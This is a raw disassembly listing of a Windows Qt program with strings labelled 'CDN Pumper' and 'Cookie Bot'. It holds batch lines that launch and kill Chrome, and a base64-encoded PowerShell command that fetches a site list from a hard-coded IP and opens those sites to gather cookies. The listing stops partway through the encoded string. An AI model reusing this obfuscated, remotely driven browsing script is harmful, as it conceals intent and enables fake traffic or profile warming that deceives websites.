lea rcx, [rbp - 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x280]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x288]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x290]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea edx, [r13 + 0x15]
lea rcx, str.Stage_1___1xbet_CDN_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x2a8], rax
lea edx, [r13 + 0xa]
lea rcx, str.CDN_Pumper
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x2a0], rax
lea edx, [r13 + 8]
lea rcx, str.logo.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x298], rax
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2a0]
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x4f8]
mov rcx, rsi
call fcn.140122130
nop
lea r8, [0x1401c7c50]
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.140018600
nop
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x298]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2a8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea r14d, [r13 + 3]
nop dword [rax]
mov edx, 0xf5
lea rcx, str.timeout_3___nul__Start_chrome___1___timeout_5___nul__Start_chrome___2___timeout_5___nul__Start_chrome___3___timeout_5___nul__Start_chrome___4___timeout_5___nul__Start_chrome___5___timeout_5___nul__taskkill__im_chrome.exe___nul_2_1_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x258], rax
mov dl, 0x20
lea rcx, [rbp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x13
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov eax, eax
mov rcx, qword [r12 + rax*8 + 0x259720]
test rcx, rcx
je 0x14012071b
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140120710
jmp 0x140120720
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x250], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x250]
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x258]
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0x3e]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x13
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x259720]
test rcx, rcx
je 0x140120792
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140120787
jmp 0x140120797
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x248], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x518]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0x3c]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x13
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x259720]
test rcx, rcx
je 0x14012080b
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140120800
jmp 0x140120810
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x2c0], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x2c0]
lea rdx, [rbp + 0x510]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0x3a]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x13
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x259720]
test rcx, rcx
je 0x14012087e
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140120873
jmp 0x140120883
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x2b8], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x508]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
mov rdi, rax
mov dl, 0x20
lea rcx, [rbp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QChar::constructor_struct_QLatin1Char____ptr64]
movzx ebx, word [rax]
mov edx, 0x13
xor ecx, ecx
call qword [sym.imp.VBoxRT.dll_RTRandU32Ex]
mov ecx, eax
mov rcx, qword [r12 + rcx*8 + 0x259720]
test rcx, rcx
je 0x1401208f1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1401208e6
jmp 0x1401208f6
mov eax, 0xffffffff
mov edx, eax
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x2b0], rax
mov word [rsp + 0x20], bx
xor r9d, r9d
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x500]
mov rcx, rdi
call qword [sym.imp.Qt5Core.dll_public:_class_QString___cdecl_QString::arg_class_QString_const____ptr64__int__class_QChar____ptr64]
nop
mov rdx, rax
lea rcx, [rbp + 0x300]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x500]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x508]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2b8]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x510]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x518]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x248]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x520]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x250]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x258]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
sub r14, 1
jne 0x1401206c0
lea edx, [r14 + 0x12]
lea rcx, str.Stage_1_Finished_
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x270], rax
lea edx, [r14 + 3]
lea rcx, [0x1401c7ee8]
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x268], rax
lea edx, [r14 + 8]
lea rcx, str.logo.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp + 0x260], rax
lea rax, [rbp + 0x270]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x268]
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0x530]
mov rcx, rsi
call fcn.140122130
nop
mov rdx, rax
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x4000
lea r8d, [r14 - 1]
lea rdx, str.__timeout_5___nul_r_n
lea rcx, [rbp + 0x528]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
nop
mov rdx, rax
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp + 0x528]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x300]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], r14d
lea rcx, [rbp + 0x28]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x530]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x260]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x268]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x270]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
mov ecx, dword [rsi]
cmp ecx, 1
jbe 0x14012151c
lea eax, [rcx - 0x101]
cmp eax, 0x1a
ja 0x140120b10
mov edx, 0x400020f
bt edx, eax
jb 0x14012151c
cmp ecx, 0x205
je 0x14012151c
cmp ecx, 0x221
je 0x14012151c
cmp ecx, 0x222
jne 0x140120d18
mov edx, 0x1f
lea rcx, str.Cookie_Bot_has_finished._Enjoy.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp - 0x80], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x78], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x58]
mov rcx, rsi
call fcn.140122130
mov rdi, rax
mov edx, 0x2e
lea rcx, str.Now_we_will_visit_few_websites_to_gain_cookies
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x68], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x60], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x78]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Starting_Cookie_Bot..._
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x8000
mov rdx, rbx
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAKQApACAAewANAAoAIAAgACAAIAByAGUAdAB1AHIAbgANAAoAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBDAGgAcgBvAG0AZQAgAGkAcwAgAGkAbgBzAHQAYQBsAGwAZQBkAC4AIgANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUwBpAHQAZQBzAEYAcgBvAG0AUwBlAHIAdgBlAHIAIAB7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBoAHQAdABwADoALwAvADEAOAA4AC4AMQA2ADYALgA3ADgALgAxADEAMQAvAGcAZQB0AHMAaQB0AGUALgBwAGgAcAAiAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAGEAbgBkACAAJAByAGUAcwBwAG8AbgBzAGUALgBwAG8AcAB1AGwAYQByAF8AcwBpAHQAZQBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcgBlAHMAcABvAG4AcwBlAC4AcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwANAAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgACcAcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwAnACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIAByAGUAcwBwAG8AbgBzAGUALgAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAATwBwAGUAbgAtAFMAaQB0AGUAcwAgAHsADQAKACAAIAAgACAAUABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHMAaQB0AGUAcwApAA0ACgAgACAAIAAgACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJABzAGkAdABlAHMAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACIALQAtAG4AZQB3AC0AdABhAGIAIgAsACAAJABfACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJABhAHIAZwB1AG0AZQBuAHQAcwANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAYwBoAHIAbwBtAGUAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMADQAKAH0ADQAKAA0ACgAkAHMAaQB0AGUAcwAgAD0AIABHAGUAdAAtAFMAaQB0AGUAcwBGAHIAbwBtAFMAZQByAHYAZQByAA0ACgBpAGYAIAAoACQAcwBpAHQAZQBzACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsADQAKACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgAHMAaQB0AGUAcwAgAHIAZQBjAGUAaQB2AGUAZAAgAGYAcgBvAG0AIABzAGUAcgB2AGUAcgAuACIADQAKACAAIAAgACAAcgBlAHQAdQByAG4ADQAKAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAUwBpAHQAZQBzACAAcgBlAGMAZQBpAHYAZQBkADoAIAAkACgAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAKQAgAHMAaQB0AGUAcwAuACIADQAKAH0ADQAKAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABzAGkAdABlAHMALgBDAG8AdQBuAHQAOwAgACQAaQAgACsAPQAgADUAKQAgAHsADQAKACAAIAAgACAAJABjAHUAcgByAGUAbgB0AEIAYQB0AGMAaAAgAD0AIAAkAHMAaQB0AGUAcwBbACQAaQAuAC4AKAAkAGkAKwA0ACkAXQANAAoAIAAgACAAIABPAHAAZQBuAC0AUwBpAHQAZQBzACAALQBzAGkAdABlAHMAIAAkAGMAdQByAHIAZQBuAHQAQgBhAHQAYwBoAA0ACgB9AA__r_n
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x48]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::constructor_class_QString_const____ptr64____ptr64]
mov dword [rsp + 0x40], 0x18000
mov rdx, rdi
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, [0x1401b9c90]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.140018600
nop
mov rdx, rax
lea rcx, [rsp + 0x38]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
nop
lea rcx, [rbp - 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x48]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x68]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x78]
call qword [sym.imp.Qt5Core.dll_public:_void___cdecl_QString::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x80]
jmp 0x140121516
cmp ecx, 4
je 0x14012151c
cmp ecx, 0x1011
je 0x14012151c
cmp ecx, 0x1014
je 0x14012151c
cmp ecx, 0x1020
jne 0x140120f24
mov edx, 0x1f
lea rcx, str.Cookie_Bot_has_finished._Enjoy.
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x58], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x60], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.140122130
mov rdi, rax
mov edx, 0x2e
lea rcx, str.Now_we_will_visit_few_websites_to_gain_cookies
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x70], rax
mov edx, 0xa
lea rcx, str.Cookie_Bot
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rsp + 0x78], rax
mov edx, 9
lea rcx, str.logo3.png
call qword [sym.imp.Qt5Core.dll_private:_static_struct_QTypedArrayData_unsigned_short_int_____ptr64___cdecl_QString::fromAscii_helper_char_const____ptr64__int_]
mov qword [rbp - 0x80], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x48]
mov rcx, rsi
call fcn.140122130
mov rbx, rax
mov r8d, 0xffffffff
lea rdx, str.echo_Starting_Cookie_Bot..._
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_static_class_QString___cdecl_QString::fromUtf8_char_const____ptr64__int_]
mov dword [rsp + 0x40], 0x20000
mov rdx, rbx
lea rcx, [rsp + 0x50]
call qword [sym.imp.Qt5Core.dll_public:_class_QString____ptr64___cdecl_QString::append_class_QString_const____ptr64____ptr64]
lea r8, str._r_npowershell__encodedCommand_JABjAGgAcgBvAG0AZQBQAGEAdABoACAAPQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABjAGgAcgBvAG0AZQAuAGUAeABlACIADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAKQApACAAewANAAoAIAAgACAAIAByAGUAdAB1AHIAbgANAAoAfQAgAGUAbABzAGUAIAB7AA0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgBDAGgAcgBvAG0AZQAgAGkAcwAgAGkAbgBzAHQAYQBsAGwAZQBkAC4AIgANAAoAfQANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0AUwBpAHQAZQBzAEYAcgBvAG0AUwBlAHIAdgBlAHIAIAB7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBoAHQAdABwADoALwAvADEAOAA4AC4AMQA2ADYALgA3ADgALgAxADEAMQAvAGcAZQB0AHMAaQB0AGUALgBwAGgAcAAiAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AJwANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJAByAGUAcwBwAG8AbgBzAGUAIAAtAGEAbgBkACAAJAByAGUAcwBwAG8AbgBzAGUALgBwAG8AcAB1AGwAYQByAF8AcwBpAHQAZQBzACkAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcgBlAHMAcABvAG4AcwBlAC4AcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwANAAoAIAAgACAAIAAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAE4AbwAgACcAcABvAHAAdQBsAGEAcgBfAHMAaQB0AGUAcwAnACAAawBlAHkAIABmAG8AdQBuAGQAIABpAG4AIAByAGUAcwBwAG8AbgBzAGUALgAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsADQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAATwBwAGUAbgAtAFMAaQB0AGUAcwAgAHsADQAKACAAIAAgACAAUABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHMAaQB0AGUAcwApAA0ACgAgACAAIAAgACQAYQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJABzAGkAdABlAHMAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACIALQAtAG4AZQB3AC0AdABhAGIAIgAsACAAJABfACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGMAaAByAG8AbQBlAFAAYQB0AGgAIAAtAEEAcgB